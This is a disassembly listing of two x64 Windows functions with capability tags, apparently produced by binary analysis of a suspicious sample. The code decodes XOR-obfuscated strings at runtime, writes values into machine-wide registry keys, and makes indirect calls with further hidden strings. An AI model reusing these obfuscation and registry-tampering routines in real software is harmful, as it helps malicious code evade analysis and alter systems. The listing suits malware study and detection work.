Function at 0x1400036f0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
push rbp
lea rbp, [rax - 0x58]
sub rsp, 0x150
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14005b0c0]
xor rax, rsp
mov qword [rbp + 0x20], rax
movups xmm0, xmmword [str.ctgctdrdtSXNRMP5]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x140054890]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x1400548a0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400548b0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400548c0]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400548d0]
movups xmmword [rbp - 0x50], xmm1
movsd xmm0, qword [0x1400548e0]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400548e8]
mov word [rbp - 0x38], ax
xor edi, edi
mov r8d, edi
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x1400031a1
movdqa xmm5, xmmword [0x140054b50]
movdqa xmm4, xmmword [0x140054bc0]
movdqa xmm6, xmmword [0x140054b70]
movdqa xmm7, xmmword [0x140054ba0]
lea rcx, [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x30
jl 0x1400030b2
cmp r8d, 0x35
jge 0x1400031e4
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x35
jl 0x1400031b0
lea rdx, [rsp + 0x60]
lea rcx, [rbp]
call fcn.1400041a0
nop
lea rdx, [rbp]
cmp qword [rbp + 0x18], 7
cmova rdx, qword [rbp]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x14000322b
xor bl, bl
jmp 0x14000367b
movups xmm0, xmmword [str.eAVR_P]
movups xmmword [rsp + 0x30], xmm0
mov ecx, dword [0x140054900]
mov dword [rsp + 0x40], ecx
movzx eax, word [0x140054904]
mov edx, 0x55
mov word [rsp + 0x30], dx
xor word [rsp + 0x32], 0x31
xor word [rsp + 0x34], 0x32
xor word [rsp + 0x36], 0x33
xor word [rsp + 0x38], 0x34
xor word [rsp + 0x3a], 0x35
xor word [rsp + 0x3c], 0x36
xor word [rsp + 0x3e], 0x37
xor cx, 0x38
mov word [rsp + 0x40], cx
xor word [rsp + 0x42], 0x39
xor ax, 0x3a
mov word [rsp + 0x44], ax
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x20]
call fcn.1400041a0
mov eax, dword [rbp - 0x10]
lea r11d, [rax*2 + 2]
lea r10, [rbp - 0x20]
movups xmm7, xmmword [str.qABzZBhuvH_]
movsd xmm0, qword [0x140054958]
movzx eax, word [reloc.WLDAP32.dll_Ordinal_60]
movups xmmword [rsp + 0x30], xmm7
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x48], ax
cmp qword [rbp - 8], 7
jbe 0x1400032e2
mov r10, qword [rbp - 0x20]
mov r8d, edi
cmp ebx, 2
jl 0x1400033d8
movdqa xmm4, xmmword [0x140054bc0]
movdqa xmm6, xmmword [0x140054ba0]
movdqa xmm2, xmmword [0x140054b50]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140054b70]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rsp + 0x30], xmm3
movdqa xmm2, xmmword [0x140054b60]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140054b70]
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rsp + 0x38]
xorps xmm3, xmm0
movq qword [rsp + 0x38], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x30
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400033f0
mov dword [rsp + 0x28], r11d
mov qword [rsp + 0x20], r10
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14000360d
mov dword [rbp - 0x28], 1
movups xmm0, xmmword [str.SWuEFVPNdxqrL_]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140054ab0]
movups xmmword [rsp + 0x40], xmm1
movzx eax, word [0x140054ac0]
mov word [rsp + 0x50], ax
mov ecx, edi
cmp ebx, 2
jl 0x14000359a
movdqa xmm5, xmmword [0x140054b50]
movdqa xmm4, xmmword [0x140054bc0]
movdqa xmm6, xmmword [0x140054b70]
movdqa xmm7, xmmword [0x140054ba0]
lea rdx, [rsp + 0x30]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rdx]
xorps xmm3, xmm0
movq qword [rdx], xmm3
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rdx + 8]
xorps xmm3, xmm0
movq qword [rdx + 8], xmm3
add ecx, 8
lea rdx, [rdx + 0x10]
cmp ecx, 0x10
jl 0x1400034b0
cmp ecx, 0x11
jge 0x1400035e0
movsxd rax, ecx
lea r8, [rsp + 0x30]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x36
movzx eax, cx
sub ax, dx
add ax, 0x30
xor word [r8], ax
inc ecx
lea r8, [r8 + 2]
cmp ecx, 0x11
jl 0x1400035b0
mov dword [rsp + 0x28], 4
lea rax, [rbp - 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [rsp + 0x30]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000361b
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor bl, bl
jmp 0x140003627
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
mov rdx, qword [rbp - 8]
cmp rdx, 7
jbe 0x14000366a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003665
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003665
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140046a1c
movdqa xmm0, xmmword [0x140054b30]
movdqu xmmword [rbp - 0x10], xmm0
mov word [rbp - 0x20], di
mov rdx, qword [rbp + 0x18]
cmp rdx, 7
jbe 0x1400036be
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140046a1c
movzx eax, bl
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140046780
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
lea rbp, [rax - 0xb8]
sub rsp, 0x1b0
movups xmm0, xmmword [str.s_vnd__RXOJfhENJZ_rp]
movups xmm1, xmmword [0x140054980]
mov ebx, dword [reloc.WS2_32.dll_accept]
mov r10, qword [0x14005ba58]
movaps xmmword [rax - 0x18], xmm6
movdqa xmm6, xmmword [0x140054bc0]
movaps xmmword [rax - 0x28], xmm7
movdqa xmm7, xmmword [0x140054b70]
movaps xmmword [rax - 0x38], xmm8
movdqa xmm8, xmmword [0x140054b50]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140054990]
movups xmmword [rbp - 0x60], xmm1
movups xmm1, xmmword [0x1400549a0]
movaps xmmword [rax - 0x48], xmm9
movdqa xmm9, xmmword [0x140054ba0]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
cmp ebx, 2
jl 0x14000387d
xor edx, edx
lea rcx, [rbp - 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edx, 0x20
jl 0x140003790
jmp 0x1400038c5
lea r9, [rbp - 0x70]
xor r8d, r8d
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x20
jl 0x140003890
movups xmm0, xmmword [str.XEFC]
xor r8d, r8d
movups xmm1, xmmword [0x140054ae0]
movzx eax, word [0x140054b28]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.stlrri____]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x140054b10]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x140054b20]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140054b00]
movsd qword [rbp - 0x80], xmm0
mov word [rbp - 0x78], ax
movups xmmword [rsp + 0x60], xmm1
cmp ebx, 2
jl 0x140003a25
lea rcx, [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x140003930
cmp r8d, 0x2d
jge 0x140003a66
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
mov eax, 0x4bda12f7
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x2d
jl 0x140003a31
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x70]
xor ecx, ecx
lea rdx, [rsp + 0x30]
call r10
movups xmm0, xmmword [0x1400549b0]
mov eax, dword [0x1400549e8]
xor r8d, r8d
mov r10, qword [0x14005ba58]
mov dword [rbp + 0x68], eax
movups xmm1, xmmword [0x1400549c0]
movups xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x1400549d0]
movups xmmword [rbp + 0x40], xmm1
movups xmmword [rbp + 0x50], xmm0
movsd xmm0, qword [0x1400549e0]
movsd qword [rbp + 0x60], xmm0
cmp ebx, 2
jl 0x140003bc6
lea rcx, [rbp + 0x30]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x140003ad1
cmp r8d, 0x1e
jge 0x140003c06
movsxd rax, r8d
lea r9, [rbp + 0x30]
lea r9, [r9 + rax*2]
mov eax, 0x4bda12f7
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x1e
jl 0x140003bd1
movups xmm0, xmmword [0x1400549f0]
xor r8d, r8d
movups xmm1, xmmword [0x140054a00]
mov eax, dword [0x140054a40]
movups xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [0x140054a10]
movups xmmword [rbp - 0x10], xmm0
movups xmm0, xmmword [0x140054a30]
mov dword [rbp + 0x20], eax
movzx eax, word [0x140054a44]
movups xmmword [rbp - 0x20], xmm1
movups xmm1, xmmword [0x140054a20]
movups xmmword [rbp + 0x10], xmm0
mov word [rbp + 0x24], ax
movups xmmword [rbp], xmm1
cmp ebx, 2
jl 0x140003d56
lea rcx, [rbp - 0x30]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x28
jl 0x140003c61
cmp r8d, 0x2b
jge 0x140003d96
movsxd rax, r8d
lea r9, [rbp - 0x30]
lea r9, [r9 + rax*2]
mov eax, 0x4bda12f7
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x2b
jl 0x140003d61
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], 0
lea r8, [rbp + 0x30]
xor ecx, ecx
lea rdx, [rbp - 0x30]
call r10
movups xmm0, xmmword [0x140054908]
mov eax, dword [0x140054940]
xor r8d, r8d
mov r11, qword [0x14005ba58]
mov dword [rbp - 0x38], eax
movzx eax, word [0x140054944]
mov word [rbp - 0x34], ax
movups xmm1, xmmword [0x140054918]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140054928]
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm0
movsd xmm0, qword [0x140054938]
movsd qword [rbp - 0x40], xmm0
cmp ebx, 2
jl 0x140003f05
lea rcx, [rbp - 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x140003e10
cmp r8d, 0x1f
jge 0x140003f45
movsxd rax, r8d
lea r9, [rbp - 0x70]
lea r9, [r9 + rax*2]
mov eax, 0x4bda12f7
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r9 - 2], ax
cmp r8d, 0x1f
jl 0x140003f10
movups xmm0, xmmword [0x140054a50]
xor r8d, r8d
movups xmm1, xmmword [0x140054a60]
mov eax, dword [0x140054a98]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [str.stlrri_:__d]
movups xmmword [rsp + 0x50], xmm0
movsd xmm0, qword [0x140054a90]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140054a9c]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x140054a80]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x7c], ax
movups xmmword [rsp + 0x60], xmm1
cmp ebx, 2
jl 0x1400040a5
lea rcx, [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm8
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm6
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x140003fb0
cmp r8d, 0x27
jge 0x1400040e6
movsxd rax, r8d
lea r10, [rsp + 0x30]
lea r10, [r10 + rax*2]
mov eax, 0x4bda12f7
lea r10, [r10 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x30
xor word [r10 - 2], ax
cmp r8d, 0x27
jl 0x1400040b1
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x70]
xor ecx, ecx
lea rdx, [rsp + 0x30]
call r11
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x10]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop rbp
jmp 0x140002ff0